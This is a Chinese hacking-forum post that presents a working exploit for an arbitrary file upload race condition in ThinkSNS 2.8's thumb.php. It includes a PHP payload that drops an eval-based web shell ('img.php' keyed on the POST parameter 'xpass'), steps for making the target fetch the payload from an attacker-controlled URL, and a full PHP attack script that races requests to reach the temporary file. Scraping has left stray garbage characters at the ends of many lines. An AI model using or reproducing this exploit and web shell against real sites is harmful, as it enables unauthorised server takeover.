找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1987|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
) G6 h6 H& ?: X% l! u$ k存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
  `' I( e; B7 \; W: x) a* B7 S8 K0 _漏洞文件
# |9 n! U7 ~7 ~) R9 X1 m. ]存在漏洞的文件为:thumb.php# G' z3 f  y! A
作者:韦鲲鹏
! |1 @4 I) _# ?1、        准备如下PHP文件并上传到服务器(自己的)。0 y% e8 w# G; e( C6 f
文件内容如下:
5 Y/ ^8 a+ ]7 e<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ o; J$ ~1 Z( h4 X( c
2、        计算出临时的文件名:* `4 J5 x- i8 g0 {% z8 p. k
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3 b1 q4 e' n5 g1 ^% L
3 F# k# h5 a. y% ^$ X9 J( `3、        上传临时文件。# F4 D8 ]: O! S" p  v
4、        访问临时文件。
7 G( l+ [. Q3 \6 f) g但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)! W; g. v; ^# \  }' N; Y1 x" O
Exploit文件内容如下:(这个我就不详细解释了)
8 A3 ?" L9 k7 M4 C7 [<?php
8 Q0 N5 w+ ~/ @. D# J6 x) Jerror_reporting(0);
" c# O5 o6 o: Z- e$ e- \# y5 lset_time_limit(0);  g/ W3 ]4 B! x  L
ini_set(“default_socket_timeout”, 5);
5 }2 ?2 \4 |4 V5 e+ Ufunction http_send($host, $port, $headers) {1 x* _: ~4 ?+ G9 C6 B
$fp = fsockopen($host, $port);
* }- p# _5 e4 pif (!$fp) die(‘Connection -> fail’);2 @! P3 O7 G& q' U
fputs($fp, $headers);
# F& \- L( b7 h0 q  P2 i# `, Wreturn $fp;  U& G3 Y) c  a- z6 \
}
/ J! ]3 d8 O- y3 q( p4 efunction http_recv($fp) {
( T: l+ a9 R; `* F' L# h$ret=”";
6 B# v0 I& w3 l7 Rwhile (!feof($fp))
# r( y8 N+ x7 R* ^+ U1 F$ret.= fgets($fp, 1024);- @! _7 L+ O, f
fclose($fp);
% f8 y% k+ G. D6 q" B3 sreturn $ret;
0 G$ S2 X0 u4 }( g" `7 F}
" W. d! M5 [' D( t+ g) k& Uprint “\n#  ThinkSns Arbitrary File Upload   #\n”;) ]  S; e4 `+ T  h# N$ L
print “# Discovered by 韦鲲鹏 #\n\n”;
& ]0 r& z& G* f7 `- Cif ($argc < 4) {8 `4 j  ^- M, O( ^3 \2 H5 p0 K
print “Usage:   php <host> <path> <romote_url>\n”;
5 ~: T& q- t2 f; r- c5 Hprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;" O/ q, X* T" f# {
die();
. d0 J$ \4 Y" U4 t' G. }2 A3 u+ v* }}
/ O0 _% }( G7 F, {2 C! n) ?$host = $argv[1];6 H: U8 o/ X: L# c1 i/ x  x5 {
$path = $argv[2];
9 e4 l7 F2 @* D2 X% p( B7 N$url = $argv[3];
6 A- H% M! M; }7 t7 J$i=0;
8 u8 `% \2 s8 q& j1 \+ f" u& S2 {3 N//上传数据包
4 V1 G8 G- d% m6 ]3 z  A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
) w3 O* d# ~3 ^& y% }9 _$headers_up .= “Host: “.$host.”\r\n”;: ?2 M$ Z2 d$ V2 G4 d/ |" u
$headers_up .= “Connection: close\r\n\r\n”;
# B; a% |  b$ F( Kecho $headers_up;3 V  @2 g1 V4 l' T3 G
//临时文件访问数据包
; _- k  ]1 X/ U+ {! [$ d$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;% \# _( y* `) s  \
$headers .= “Host: “.$host.”\r\n”;" o; W% {2 A+ {) `' h- ?6 F
$headers .= “Connection: close\r\n\r\n”;
5 h3 ]) m( S5 ]" B9 N! X/ Aecho $headers;5 L, S  U  R. r0 P& e1 I0 z0 [
while(++$i<10) {# E/ r0 a9 g! S7 }6 `: ^. [3 Z
fclose(http_send($host, 80, $headers));
6 z0 O) k8 b7 o; l}! X* Q9 B1 E/ ~/ G1 R( ^
fclose(http_send($host, 80, $headers_up));8 A# l: f9 @! o2 k$ z8 w2 z% g
while(++$i<50) {/ L6 C% V: l6 V3 \
fclose(http_send($host, 80, $headers));1 m% w# p  f( ^0 Z( K* `
}
( y+ R% Y' y  j5 J& q$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;0 o! W# E2 J: @6 q* T- J+ d+ s2 U
$headers .= “Host: “.$host.”\r\n”;
1 a5 g4 P8 L3 J$headers .= “Connection: close\r\n\r\n”;
7 ^  o- ^; p/ F5 \- s. @$res=http_recv(http_send($host, 80, $headers));4 k9 x- j" f- k+ m; e# |& V
if(preg_match(‘/200 OK/’,$res)) {
, s1 N1 n4 ~1 i9 V: _/ J5 Vprint “Success!\n\n”;/ u" Q! G  Z2 `0 |! ?4 O2 E
} else {
& s+ s, ]3 m2 ?0 e( G; @print “Fail!\n\n”;8 O2 q0 u/ S, f* U- t7 {
}
! E( _( I; g2 Q: m?>
" c" e7 Q( l" _! Y8 n7 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表